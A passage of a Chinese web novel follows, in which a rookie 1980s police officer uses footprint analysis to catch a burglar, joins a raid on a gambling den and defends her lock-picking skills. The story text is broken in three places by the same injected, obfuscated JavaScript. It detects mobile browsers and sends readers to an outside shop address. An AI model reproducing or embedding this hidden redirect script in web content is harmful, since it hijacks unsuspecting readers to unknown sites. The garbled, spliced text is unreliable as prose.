得到肯定,江夏先是从柴垛边薅了把麦杆,握在手中,随即走到院门墙边。 警察破案,说白了就是利用经验和现场证据,不断缩小怀疑嫌疑人范围。 在初期,这个怀疑的范围越小,警察所需要投入调查的精力时间也越少,能更快抓住罪犯。 可一旦出错,前面的投入便全部白费。 江夏刚才看过屋内,从翻找痕迹来看,她怀疑不只是本地人,还很有可能是与董爱华家相熟的熟人作案。 相较于吴所划定的范围,这几乎能将怀疑对象缩小到个位数。 可仅凭翻找痕迹进行推论,很难保证其准确性,江夏心里没有百分之百的把握。 她毕竟是刚进所的新人,第一印象很重要,要是蒙对嫌疑人,那所里人能高看她一眼,以后工作也好展开。 可若是错了,所里的人肯定会给她打个爱出风头的标签,到时候要被老吕骑在头上,被所里人瞧不起一段时间不说,还会白白浪费了抓捕罪犯的黄金时间。 她不能赌运气,得有更准确证据才行。 比如,一枚完整的嫌疑人鞋印。 江夏盯着地下的混乱的鞋印,细细观察起来。 同为新人的胡伟极为好奇的看着江夏动作。 “装啥呢。” 老吕双手环抱在胸前,嘴里含糊不清的嘟囔了一句。 他看着蹲下看着地面,紧紧皱着眉头的江夏,心里不由得讥笑。 这盗窃案向来难破,一个刚毕业的学生,能有什么本事找线索? 刚才那锁应该就是瞎猫碰上死耗子,巧了,现在真让你上,看看,还是没招啊! 看你难成那熊样,该! 没事儿就别出风头! 董爱华还没止住抽抽,她看看原地不动的吴所,再看看蹲在墙角前的江夏,眼泪忽的又落下来了。 这老的不行,让小去的干,怎么可能抓住贼啊! 江夏不知外界对她的看法,她注意力全放在了鞋印上。 这里的鞋印数量很多,粗略辨认,至少有四五种,而且极为杂乱,大多数都是三四个乃至更多的鞋印叠在一起,最底层的已经被踩踏的完全无法辨认。 这种现场,基本毫无价值,哪怕换个会看足迹的刑警来,同样也要麻爪。 毕竟嫌疑人留下的鞋印最早,是最底层的鞋印,被这么踩过一遍,全被破坏掉了,上哪儿去找痕迹? 仔细过了一遍后,江夏同样果断放弃硬辨鞋印的想法。 LV2的足迹鉴定实力,大概是资深刑警的水准,算不上专家级别,这么乱的一大片脚印,短时间内她根本分辨不出来。 必须换个思路。 江夏站起身,向后退了两步,右手不知何时从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357716|199697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口袋里掏出一枚硬币,速度极快的在指间来回翻飞着。 思路,思路。 如果我是窃贼…… 江夏盯着地上鞋印的朝向,她脑中忽然灵光一闪。 有了! 看方向啊! 后面进来的群众,多是为了看情况,人是肯定是背靠着墙,脚尖朝向院落,脚后跟朝墙,就算后面都走了出去,那鞋印朝向也是与墙齐平的。 而窃贼是翻墙进来的,翻墙出去的,他进来落地的脚印脚尖朝向与群众一样,分不出来,可离开时,他得站在墙边扒墙,那脚尖是正对着墙面的! 这就是用来区分的特征! 像期末数学考试中,面对最后一道压轴大题苦思冥想十多分钟,忽然想通如何解答一样,江夏心跳加速,整个人瞬间振奋起来。 她目光扫视过面前的砖墙,很快挑中了几个适合攀爬的位置。 以此向下,她在人跨步的范围内,再次辨别地上的鞋印。 有了方向,原本重叠到无法辨认的鞋印,此刻忽然变得极为清晰。 江夏飞速寻找着。 这个没有,这个也没有,这个……是这个! 一个前后都被不同方向鞋印踩踏过,只剩下三厘米可辨别的嫌疑人鞋印,终于浮现了出来。 它是前脚掌中段的位置,还有一节鞋底的花纹,大概是宽W的形状。 太好了! 江夏精神越发振奋。 她将麦秆在鞋印边上一插,留做标记,继续向院内寻找。 有了特征,按照步伐距离推算,江夏飞快找到了第二枚被踩踏过的鞋印。 这次更为清晰,只被踩了三分之二。 她插上标记,继续找下一枚。 她动作越来越快,两三分钟,就从墙边插到门口,紧接着又向南边的厢房走去。 在走了两米左右的距离之后,江夏突然停了下来。 一枚完整清晰的犯罪嫌疑人右足鞋印,映入她的眼眶。 江夏猛然抬头,朝着吴所高声喊道: “我找到了!” 吕福生还等着看江夏出丑的,忽然听到这么一句,五官直接拧在了一起。 她怎么还真找到了?! “是找到嫌疑人的鞋印了?” 等候的吴所瞬间振奋起来,他避开插着麦秆的鞋印,快步走到江夏身边,蹲下观察起这枚脚印: “这么完整?” “还是宽波浪纹,应该是胶底鞋,那这可好找了!” 这年头,不少家庭还是自己纳千层底的布鞋,鞋底类似,不好分辨,还家家户户都穿,颇为难找。 可胶底鞋就不一样了,得用票或钱买,少不说,不同厂家鞋底花纹还不同,更好分辨。 按鞋找人,范围说不定能缩小到个位数! 吴所兴奋的伸出手,刚想重重的拍下去,可一看江夏模样,赶紧收了力气,只在她肩膀上轻拍了两下,鼓励道: “不愧是警校生啊,就是有本事!” “不用只按鞋找人。” 江夏微微一笑。 她废这么大劲儿找完整鞋印,可不是只为了这点线索。 她自信道: “吴所,我可以确定,这贼的身高在一米七三到一米七八,体重一百三十五上下,年龄在二十四岁至二十八岁之间!” “哎?” 吴所头上升起一个巨大的问号。 这你又是怎么知道的? 5. 锁定嫌疑人 太阳逐渐升到了最高。 吕福生正站在太阳下,热意从头蔓延到全身,让人平白冒出几分烦躁。 她怎么真能看出来点东西呢! 一个刚毕业的小屁孩,才吃了几两盐?明明应该像胡伟那样,先跟在他这样的前辈后头,恭恭敬敬的学东西才对! “我说。” 被挑衅的前辈尊严远大于破获案件,吕福生也不想着提前回去喝茶了,他踏步走到吴所身边,继续阴阳怪气的开口: “这院子里脚印这么多,怎么就认定这个是偷儿的了?吴所您也不怕她认错了!” 江夏等的就是这一刻。 她从头找到尾,就是为了结论不出一点差错。 此刻见老吕反驳,江夏不由得轻笑一声。 她十分轻松的站起身,拍掉手中麦秆的碎屑,自信开口: “这肯定是窃贼的鞋印。” “吴所您看,院子里的鞋印虽多,但只有这枚,同时出现在了院子里、正屋门前和屋内。” 江夏伸手指过自己圈出来的鞋印轨迹: “董姨说了,案发后正屋只有她进去过,邻居和其它群众只进了院子,这说明鞋印主人是在案发前进入的屋内。” “且屋内遗留鞋印非常清晰,没有被覆盖,说明距离案发时间很近,不然留不到现在。” “此外,案发后进来离开的群众都是走的都是正门,鞋印最后也是通往大门。” 江夏走到墙边,声音果断:“只有这个鞋印是在墙边消失,且脚尖朝墙,也就是说,其主人面向墙壁而站,这是明显是一个准备翻墙的动作。” “除了窃贼,还有什么人能恰好在案发前进入正屋和卧室,离开时又是翻墙离开?” 这——! 条理清晰,结论合理,吕福生心里不由得也升起几分认同。 可越是如此,他越是难受,脸更是有些发涨。 他忍不住强词夺理起来: “谁说站在墙边就是要翻墙了?这人说不定就是站这儿看看墙呢!” 这什么品种的杠精? 正所谓煞笔和杠精都无法交流,而老吕明显两者皆有,江夏瞄了他一眼,毫无对话的欲望,直接将目光投向了吴所。 “所长,您觉着呢?” 吴所听着江夏的推论,同样走到了墙边。 他弯着腰,低头看向杂乱的地面。 上百枚鞋印互相重叠,乱到看一眼都让人觉着头晕。 借着江夏已经标记好的指引,吴所才在那片区域,勉强认出一点W形状的鞋底花纹。 “好家伙,这么乱的鞋印你都能认出来,小江,你这眼神绝了啊!” 咂着舌,吴所直起身,感慨一声,又继续问道: “我看你这判断绝对没问题,这肯定是窃贼的鞋印,就是……那身高体重年龄,你又是怎么看出来的?” 两人谁都没理吕福生,默契的将他视作了空气。 察觉到这点,吕福生脸有些泛红,他刚要开口,吴所目光就如两把刀似的直接刺了过去。 他警告道:“吕福生!现在破案呢,你别没事找事!” “我……哼。” 看着吴所已经有点泛黑脸色,吕福生将嘴边的话硬咽了回去。 算了算了,这新人已经抱上所长大腿了,他惹不过! 安慰着自己,吕福生灰溜溜的往后退了几步,站到一处阴凉下。 没有杠精在身边,江夏觉着周边空气都清新了不少。 她心情不错的对吴所回答道:“这个有点复杂。” 码踪解释起来并不容易,江夏微微停顿,组织语言简单道: “比如说身高,人身高和脚的有固定比例,大概在6.8:1,看鞋印,这贼脚长大概在25.5至26厘米左右,推算身高应该是173至177厘米,步幅步宽也是,算完得出的结果一致,所以确定是这个范围。” “体重看的是鞋印深浅,年龄嘛,这人鞋印边缘清晰,压力分布均匀,步幅稳定,运动协调性极好,符合年轻人的足迹特征,所以判断年龄在24到28岁,要是年龄偏大,那脚掌会有磨损,鞋印压力会往后移。” 吴所认真听着,可越听越沉默。 前面身高他还能听得懂,可后面是什么鬼东西? 鞋印深浅看体重,听起来和过磅称重有点类似,可那也得有个称啊,你这直接用眼睛直接看出来? 开玩笑吧! 这说法怎么都让人觉着离谱,吴所半信半疑的,刚准备细问,就听到一声夸赞从门口传来。 “这是你们所新来的片警?步伐追踪学的比老秦都厉害啊!” 刑警陈栋正站在大门口,几分钟前他就到了,只是一直没进来,直到听完全部分析,这才从吴伟身后走过来。 他好奇的打量着江夏,问道: “公安学校的?叫啥名?” 闻言,江夏回头一看。 来人四十多岁,身着警服,右臂还夹着个皮包,一看就是市局过来的刑警。 来的还挺快。 “我叫江夏。” 江夏想着,回道:“山南警校毕业的中专生,学的是治安。” “高材生啊。” 陈栋眉毛一挑,“你这步伐追踪学的这么好,该去市局的啊。” “停停停!” 听陈栋的话,吴所瞬感不妙,一个跨步站到江夏身前,将人遮住:“我这刚来的新人,陈栋你想干啥?” 案子明显已经破了大半,陈栋也不急,他笑着道:“害,吴所你急啥?我这说话又不算数!” 呵呵。 这话谁信谁是蠢货。 都是一个系统的,他还不知道陈栋?能这么夸江夏,肯定是她那什么步伐追踪真会的不一般,说不定,是真比是资深刑警老秦强。 这样的宝贝他还没捂热呢,绝不能被对方给忽悠了去! 这么想着,吴所再向前一步,连连催促道: “行了行了,别说闲话了,抓贼要紧,这家伙是本地人,二十四出头,身高体重都有,你赶紧派人查就是了!” “那个,所长。” 见两人要开始排查,江夏赶紧开口:“我还有一个线索!” 还有? 吴所惊讶的转过身,“你还有线索?” “对,我认为这贼应该是董姨的熟人。” 顶着领导诧异的目光,江夏道:“正屋翻动痕迹有点特殊,卧室床铺柜子全翻了个遍,正厅柜子都没有翻找痕迹,却有个饼干盒被贼打开后扔在了地上。” “饼干盒?” 吴所脑海中也升起些许猜测,只是模模糊糊的,无法立刻得出结论。 他索性直接问道:“你有什么说法?” “窃贼的目标很明确,去卧室找钱,说明他对董家有一定熟悉,而且正厅别的不动,只翻饼干盒,很有可能是他知道里面有钱,那不是熟人,就很大可能亲眼见过。” 分析完毕,江夏腼腆一笑,为自己打起补丁: “不过这只是推测,我没什么证据,只能做辅助判断。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357717|199697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这话要是开头说,吴所肯定觉着是瞎编。 可如今吴所见过江夏的本事,那现在哪怕没有证据,他也觉着这分析很有道理。 他直接拍板道: “我觉着这推测没问题,完全可以先把董爱华熟人中的男青年做为首要嫌疑人。” “我也同意。” 陈栋听完,同样表示赞同。 他看向江夏,眼中带着异彩。 没想到啊,这姑娘这么年轻,不仅会步伐追踪,思维还这么活。 这是干刑侦的好苗子啊! 可惜自己就是个普通刑警,调不了人。 想着回头得和队长说说,陈栋径直走到等待的董爱华面前,问道: “大娘,你仔细想想,认识的熟人中,有没有二十五六,身高一米七五左右,穿胶鞋的男青年?可能来过你家,见过你或者你老伴往饼干盒放钱的?” “男青年?” 董爱华脸上还带着泪痕,她愣了一下,反问道:“你是说,偷我家钱的贼是个熟人?” “对。” 陈斌道:“大娘您仔细想想。” “这,这咋能啊!我也不认识什么不三不四的人啊!” 董爱华下意识反驳,大脑则开始自动回忆,一个身高年龄极为相符的人影飞快跳了出来。 她迟疑着,开口道: “要说合适的,还真有一个,街头上王家的二小子王强,差不多就这个年龄和个子,他前两天还陪他娘来我家送了三十块钱,我当着他面把钱放盒子里了,可那小子我看着长大,特别老实一孩子,怎么可能来我家偷钱?” 陈斌没有回答。 他只问道:“还有别的人吗?” 董爱华又想了想,很快摇头道:“没了。” 陈栋颔首,转身走到大门口,对着门外围观的人群问道:“谁认识这头上王家的二小子王强?知道他今天干什么去了吗?” 听陈斌这么问,围观的人群七嘴八舌的回答起来: “王强?” “今天还真没见着他。” “他今天没去上班?” “你忘了,他临时工,活少,今天没班!” “奥奥奥,是没班,那他去哪儿了?” “不知道啊,反正没见着他。” …… 你一言我一语的议论中,众人很快发现谁都没见到王强,这让大家伙都觉着有点不妙。 “警察提他干啥?这钱不会是他偷的吧?” 有人反驳:“不可能吧?我记得王强挺老实一个人……” “哧——什么老实啊!” 角落里,一个靠着墙壁,嘴里叼着根烟的街溜子听到现在,没忍住嗤笑一声,爆料道: “那家伙早就去炸金花了,听说欠了不老少呢,就你们不知道!” 此话一出,人群安静了一秒,紧接着马上炸开。 “啥?!” “他去赌博了?!” “不可能,他那么老实,怎么可能去赌!” “安子也不至于说他假话吧?” “赌鬼都是没人性的玩意,他要真是赌输了钱……那董家的救命钱就真是被他给偷了!” 老实人不会偷钱,可沾赌还欠了赌债的人可就不一定了,尤其是他今天不上班,而且没有一个人见到过王强。 也就是说,他有充足的作案时间。 陈栋不由得咂舌。 这过来还没一个小时吧,就直接就锁定嫌疑人了? 啥时候入室盗窃这么好破了? 6. 抓捕归案 周营派出所这新来的江夏是真有点本事啊! 心下感慨,陈栋从街溜子口中问出赌场位置,快步回了院子。 案子到了抓人的阶段,吴所心情大好,他嘴角微微上扬,“我请保卫科长回去调人了,你那边呢?问出什么了没?” “王强常去的赌场在织带厂仓库,平常大概有二三十号人,有人放哨,坐庄的有三个,领头的绰号癞子。” 陈栋道:“赌鬼偷到钱,很大可能直接去赌,依我看,有枣没枣的打上两三杆,不如多带点人,直接把赌场给端了!” 吴所也是同样的想法,他点点头:“这地儿我熟,我来带队抓人吧。” “行。” 没多久,保卫科长就带着二十多个人过来了。 江夏好奇的打量着他们。 这群人手中提着警棍,其中有三个还穿着警察的绿上衣,裤子却是蓝色的,看起来有点奇怪。 他们是经警。 八十至九十年代,有类特殊的警种,叫做经济警察,简称经警。 经警隶属公安,有编制,但在国企的保卫科工作,主要负责工厂的安全,有执法权和配枪,不过有需要的时候,也会协助派出所做事。 人员集结完毕,吴所让吕福生先带着董爱华回所里写记录,强调了几句注意事项,就迅速带人前去织带厂。 一行人骑着自行车,很快就到了地点。 他们在一处拐角前停了下来,再往前十多米,就是废弃织带厂的库房。 库房外,有个青年正警惕的环顾着四周。 众人轻手轻脚的停好车。 “卫东,你和陈警带四个人从左边包抄,刘科长,你带五个人绕后,十分钟后听见哨响就动手。” 低声布置完毕,吴所又对着跟来的江夏道:“小江,你是新人,这次过来就是学经验,接下来就跟在胡伟身边,主要任务是保护好自己,明白没?” 江夏半靠在墙边,她脚用力蹬着地,觉着体内血液正在奔涌。 刚入职就过来参与抓捕,这速度快的简直像是在做梦。 可当警察的,哪个没想过抓捕罪犯呢? 江夏以前还想过自己一把摁住罪犯,给对方铐上手铐,再表情冷酷的说上一句‘你被捕了!’的场景呢。 那感觉简直酷毙了。 现在梦想即将成真,江夏更是克制不住的兴奋。 就是吴所的话好像浇了一盆冷水。 她整个人瞬间像霜打的茄子,蔫了下来。 “奥,知道了。” 还是想多了。 新人又没有实战经验,在前头冲锋抓捕反而是添乱,吴所怎么可能让她参与抓人,这次让她跟来,只是要她跟着熟悉熟悉流程而已。 蒜鸟蒜鸟,还是先找王强要紧。 现在还不能完全确定他是不是窃贼呢。 希望自己的判断没错,这家伙就是窃贼,也就在库房内,能让他们一网打尽,把董爱华家的丢钱全给追回来啊! 江夏暗自祈祷,旁边的吴所低头看了眼手表,见时间差不多了,朝着拿出枪的经警打了个手势,将脖子上的哨子塞进嘴里,下一秒就直接冲了出去。 经警和保卫员迅速跟了上去。 “警察!” “都别动!” 嘹亮的哨响刺破宁静,放哨的一听警察,吓得腿都软了,“条子”还没喊出口,人就直接被摁在原地。 “有条子来了,快跑!” 库房内的赌徒听到动静,连忙向外跑,急的如水库放闸的鱼。 可刚出来,就碰上左右包抄而来的警员。 警员一拥而上,将赌徒全摁在地上。 “全都抱头蹲下!” 江夏跟着胡伟,快步冲进库房。 整个库房烟雾缭绕的,还未踏进门,浓重的烟味就扑面而来,其中还夹杂着年久失修的腐味。 吴所正在给赌头癞子上手铐,其余警员正控制着赌徒,暂时无人顾及王强。 胡伟压低声音,厉声询问:“谁是王强?!” “我举报!”一个赌徒毫不犹豫的卖起了队友,指着角落里的青年男子高声道:“他就是王强!” 抱头蹲下的王强脸色有些苍白。 他嘴唇颤抖着,反复道:“我,我什么事儿都没干,我什么都没干!” 这简直就是不打自招。 江夏瞬间感觉心头的石头落地,她冷呵一声: “没干?没干你哪来的钱炸金花?董爱华家的钱就是你偷的吧!” 董爱华三个字一出,王强两腿一软,‘砰’的瘫坐了地上。 压着王强,带着二十多号赌徒,一行人浩浩荡荡的返回了周营派出所。 其余人暂时关押,率先提审王强,还从他口袋中搜出四百多块钱的巨款。 他完全没想到自己会这么快就被抓,钱堆在面前,又有其他赌徒指认,意志直接崩溃,飞快交代了犯罪经过。 签纸画押,摁完手印,江夏点够钱,跟着吴所来到接待室。 这会儿功夫,除董爱华外,她在医院看守的二儿子、小女儿,以及上班的丈夫都赶了过来。 见他们过来,四人全都嗖的站起来,四双眼睛带着希冀,眼巴巴的望着,却又不敢问,生怕自己刚才听到的消息是假的。 “那什么。” 吴所清了清嗓子,“案子破了,钱也追回来了!” 董家四人全都猛的松了口气。 “董大娘,这是你家丢的九百二十三块钱,你点点够不够?” 江夏将钱递了过去。 “太谢谢警察同志了,您这是救了我们全家啊!” 董爱华手抖的厉害,儿子替她接过了钱,她则抓着江夏的手,上下晃着。 “谢谢,谢谢警察同志,你这是救我家大命了,这钱要是找不回来,我真是没法活了!” 以往丢东西的,十个里能有一个找回来都是好的,要不是面前的姑娘,她这钱大概率也找不回来。 言语太轻,完全表达不出董爱华此刻的心情,一个激动,她腿就弯了下去:“太感谢了,我,我给你磕一个吧!” “千万别!” 江夏连忙伸手架住她:“您这不折我寿嘛!” “我娘这是太激动了。” 董爱华女儿伸手拉住了母亲,她不好意思道:“要不是你们,我哥一家子就完了,真是不知道要怎么谢你们才好。” “警察嘛,就是为人民服务的,不用谢,你们还是赶紧去医院,把钱交上做手术吧。” 好说歹说,江夏才将不停感谢的一家人给送走。 这一番下来,她热的出了一身的汗。 有点累,但精神像是吃了快超甜的蜜糖,全身上下都涌动着兴奋。 “高兴吧。” 吴所同样乐呵呵的,“咱们做警察的,又苦又累,也就这点比别人强,别人谢你的时候,心里别提多得劲了!” “是挺高兴的。” 江夏脸有些泛红。 不得不承认,这感觉是真的爽。 她有点想破更多的案子了。 要是能像个神探那样,逢案必破…… “行啦,你这刚回来的,连饭都没吃就忙活到现在,就先回家吧。” 吴所现在看江夏,那真是越看越喜欢。 不到三个小时,不仅破了个入室盗窃,还端了个赌窝,简直就是双喜临门! 这样的人才,那可不能累到了。 “好好休息休息,明天再来上班。” 闻言,还在忙着补充记录的吕福生脸瞬间绿了。 这么多赌徒要审,正缺人干活呢,怎么她就回去休息了?! 还有没有天理了啊! * 江夏完全不知道有人正生着怨念。 有假期,那她乐的休息。 她愉快的骑车回家。 楼道内传来带着些甜味的肉香,是红烧肉的味道。 味道的源头正是自家。 ‘咔嚓。’ 还没等江夏拿出钥匙,门就从内打开了。 “我一听声就知道是你回来了!” 母亲周梅脸上带着些许欣喜,又忍不住埋怨,“你说你,回来也不说一声,去报道还拖延这么久。” “临时有案子嘛。” 江夏笑着道:“我跟着去了,还把它给破了呢!” “大福尔摩斯总算回来啦?” 姐姐江英端着米饭从厨房内走了出来,她催促道:“赶紧去洗手,回来这么晚,菜都要凉了!” “嗳。” 江夏麻溜的前去洗手。 原主一家四口,她是老幺,家里人少,关系也好,见她毕业回来,马上整了顿大餐。 搽干手,江夏落座。 “时间过的真快,一眨眼,你就毕业工作了。” 父亲江卫国有些感慨,“现在你姐在纺织厂食堂当上了主厨,你也有了工作,咱们一家四口人,三个是正式职工,这日子也算是好起来了啊!” “爸你放心吧,咱家日子肯定会越来越好。” 江英撬开瓶盖,给每人都倒了杯橘子汁,“来,大家都干一个!” 江夏虚敬果汁,随即夹了块红烧肉。 肥而不腻,入口即化,香的人直迷糊。 那味道,比省城大饭店大厨做的还要好几分。 她姐这厨艺更厉害,不对,是总算显露出穿越前水平了? 没错,据江夏观察,她姐也是个现代人,在原主落水前换的芯子,就是不知道是穿越还是重生了,不过大概率拿的是美食剧本。 不得不说,她跟着沾光了。 这年头,想吃顿好的可不容易。 就着红绕肉酸菜鱼和风味茄子,江夏一口气干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357718|199697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两大碗米饭,她打着嗝,回卧室休息。 江家住房是轧钢厂分最新盖的员工宿舍,带厨卫,但整体不大,只有四十五平,两室一厅,姐妹两个共住一间卧室,做了个高低床,江夏睡下铺,江英睡上铺。 刚躺床上,江夏耳边就传来系统的提示音。 【叮,声望值+4】 目前声望值:51/100。 怎么什么都没干,声望值就又增加了? 看着过半的声望值,江夏摸了摸下巴。 是今天火车上的扒手团伙在互相交流,还是往外传了? 猜不出。 不知道涨满之后,会有什么东西呢? 江夏是又期待又忧虑。 期待是系统奖励虽然与犯罪相关,但这东西就像刀子,好与坏,全看人怎么用,她完全可以拿来破案。 可忧的也是犯罪相关,无论技能还是称号,用起来不仅可疑,还都带点后遗症。 系统这次千万不要太坑啊! 正祈祷着,江英悄悄的进入卧室。 她关上门,压低声音,小声道:“小夏,你帮我个忙呗。” “什么忙?” “你在所里,消息灵通,帮我打听打听哪儿适合摆摊,不会被片警抓的那种。” 江英道:“这可不是投机倒把,上面现在可是允许做小生意了啊,咱们表哥回来一直没个工作,我想着,不如让他先摆摊卖点吃食,有个进项,总比闲在家里做街溜子强。” 原来她姐拿的是美食创业剧本? 江夏若有所思,她拍着胸脯答应道:“行,包在我身上。” 吃食摊哎,感觉自己以后会更有口福了呢! * 清晨。 江夏骑着自行车,精神奕奕的来到周营派出所。 “是小江吧?” “小江来了?” “早啊小江。” 一进门,所里的片警们就和她打起招呼,态度颇为亲昵。 听到动静,吴所端着茶杯,从办公室走了出来,和昨日黑着脸不同,他现在看江夏亲切极了。 就是那眼神,好像看的不像是人,而是生产队里正值壮年的大青牛。 “昨天都忙忘了,你这警服还没领呢。” 吴所说着,扭头冲屋里道:“老王,拿钥匙过来,开库房拿身警服。” “坏了。” 老王尴尬的从办公室走出来:“我今天来得及,把库房钥匙落家里了。” “嗯?” 吴所皱眉:“那陈姐呢?陈姐管户籍,也有库房钥匙。” “陈大姐昨天就说今天得带着小刘去核对户籍,得明天才来。” 老王不好意思道:“我这骑车来回得一个多小时呢,要不明天再拿?” 吴所白了他一眼,“你这早不忘晚不忘的,偏偏今天忘,这不耽误事儿嘛!” “呃,要不让我试试?” 警服哎,江夏现在就想领,让人跑一趟多不好,反正她昨天都说了自己会开锁,不如自己直接开了算了。 “奥对,你会开锁来着。” 吴所一拍脑袋,“正好那锁和董家一样,你试试能不能开。” 说着,吴所将江夏带到库房前。 这种简单的锁,江夏三秒钟内打不开,都愧对系统给的宗师级盗术。 不过就像锁匠开锁会故意开慢点,让雇主觉着自己钱花的更值一样,江夏也得开的慢点,让人觉着她没那么会开锁。 开的慢一点,凭运气一点,那别人就不会怀疑她有问题了! 从腕上的手链上取下根硬铁丝,江夏将前头掰弯,又从脖子上摘下挂着的挖耳勺,捅进锁眼,用挖耳勺顶着,铁丝一点一点时,时不时还皱眉停下,硬生生拖了三分多钟才‘卡蹦’一声,打开挂锁。 在锁打开的刹那,江夏耳边响起了系统提示音。 【叮——】 【恭喜宿主在警察注视下完成高难度撬锁未被逮捕,自由经验值+20!】 不是,这也行?! 还奖励这么高? 这样开一次锁,都比得上她反偷二十次了! 江夏心中一喜。 自己这算不算找到新的卡系统bug的方法? 她按耐住兴奋,扭头对着吴所道:“吴所,挂锁打开了!” 出乎意料的,是吴所并没有锁打开了的高兴。 他沉默的盯着江夏,目光中带着些许探究与怀疑。 这让江夏心里咯噔一下。 她演技没问题啊,而且拖了三分多钟呢,怎么还这个眼神看她? 难不成时间还是太短了? 疑惑间,吴所幽幽开口问道:“小江啊,你没事在手腕带截铁丝干啥?” 江夏瞬间汗流浃背了。 完了,忘了这茬了。 正常人谁会随身带铁丝啊! 7. 你从哪里学的开锁? 这次吴所是真觉着不对劲儿了。 他看的清楚,江夏手里的铁丝能有个两毫米粗,供销社可没有这种铁丝,得专门去厂子或者某些特定的店里才能弄到。 谁没事会花大力气找这个,还天天带身上? 不正常。 吴所觉着他有必要问个清楚。 都怪系统! 顶着吴所的目光,江夏在心底问候起系统。 铁丝这东西,她以前别说带,想都想不起来。 用不到的东西,谁会想? 可系统强行给予宗师级盗窃术之后,她总觉着手上少点啥。 这也好理解,毕竟想达到宗师级的盗窃术,怎么都得练个十几几十年的,手上肌肉记忆别提多深刻了,那吃饭家伙没带身上,人肯定会别扭啊。 所以江夏没忍住,专门搞了节铁丝,缠在手链上,偶尔盘盘解个手瘾。 可铁丝带久了,大脑也逐渐默认这没问题,结果就是她刚才光想着开慢点就行,硬是忘了,正常人谁没事随身带铁丝啊! 吴所还在等着回答,江夏后背越来越凉,她大脑飞速运转,先看眼吴所,又看向铁丝,这才恍然大悟般开口: “啊,我上学时不小心把柜子钥匙给丢了,不想再花钱买,正巧当时在研究开锁,就弄了节铁丝带身上,想开柜子就用它开。” “原来是这么回事。” 吴所品着江夏的回答,点点头,收回视线,伸手推开门走了进去。 江夏在心底舒口气。 还好还好,糊弄过去了。 她抬脚跟上。 仓库里面是摆满了的木架,上面全都是本区的户籍文件。 淡淡的纸香充斥在屋内。 “上学嘛,总得省着点花,锁也不便宜,要是会开,那就凑合着用呗,大人挣钱不容易,能给家里省点就省点。” 吴所向架子最后排走去,他像拉家常那样,随口问道: “不过话说回来,你这从哪里学的开锁?舍友看你这么干不背后嘀咕你?” 江夏刚放松的心瞬间提了起来。 坏了,没糊弄过去。 吴所还在审她呢! 话问的轻松,可里面却有个大坑,这年头又没互联网,想学什么手机一搜就行。 想会开锁,得专门找人教。 那谁教的她? “拜百家师和自己琢磨,挺简单的,懂点机械原理就行。” 吴所是个老警员,他们这一辈,别的或许不行,但审讯绝对是好手,江夏可不敢虚构,含糊回答后,她立刻转移起话题: “我上学时经常在学校图书室里看书,刑侦有个细分领域,叫犯罪行为研究,就是平时研究同类罪犯的不同行为,遇到案件时就可以根据遗留痕迹来锁定嫌疑人身份。” 说着说着,刚才系统的奖励涌上心头,江夏脑海中灵光一闪。 这不就是最好的卡bug方法吗! 只要立好研究犯罪行为的人设,她就能向外解释自己为什么会这些犯罪技能,以后还能在同事和上级眼皮子底下,通过‘犯罪’刷系统经验值加点,好提升破案能力。 这简直就是秦始皇摸电线,赢麻了啊! 江夏越想越觉着此事可行,她按耐住激动,语调自然的说道:“我对这方面挺感兴趣的,所以有空就琢磨。” “犯罪行为研究?” 吴所重复一遍。 他信了一半。 研究犯罪行为来破案,听起来倒是有点道理。 可这东西,知道区别不就行了,哪用着上手练,还天天带着工具? 就算真是开宿舍柜子,那也有点过了。 站在最后一排木架前,吴所将架上叠好的三件警装连大檐帽一同拿起来,转身递到江夏手中。 他语重心长道: “咱们是片警,处理的都是鸡毛蒜皮的小事,遇不到多少案子,你啊,以后还是别研究那什么犯罪行为了。” 江夏:“啊?” 她刚找到刷系统经验的办法啊!怎么还没开始试呢,就要腹死胎中了?! “啊啥啊。” 吴所又道:“记得把你那破铁丝也扔了,一个会撬锁的片警,这传出去可不好听。” 江夏明白吴所的意思。 这能力嫌疑太大,别说民众,就只有同事知道,哪天在所里丢了东西,保不齐也要怀疑她。 人心如此,江夏也理解,不过这种看法也能扭转,就像锁匠天天开锁,那也没人怀疑。 她的话,有上级支持,再做出点事迹,获得业内认可,那估摸着就成正经活动了。 江夏好不容易碰到个能合理卡系统bug的路子,着实不想直接死在第一步,于是再次开口争取: “吴所,我知道这种研究听起来很危险,但这真是正经研究,据说京城有专门组建团队研究呢,而且都写书上了,肯定没问题,您就让我继续研究呗。” 那是正不正经的事吗? 分明是别人研究的不危险,你是直接从研究到实操,不知道什么时候就上手实践了! 好好来的破案人才,怎么这么不让人省心呢? 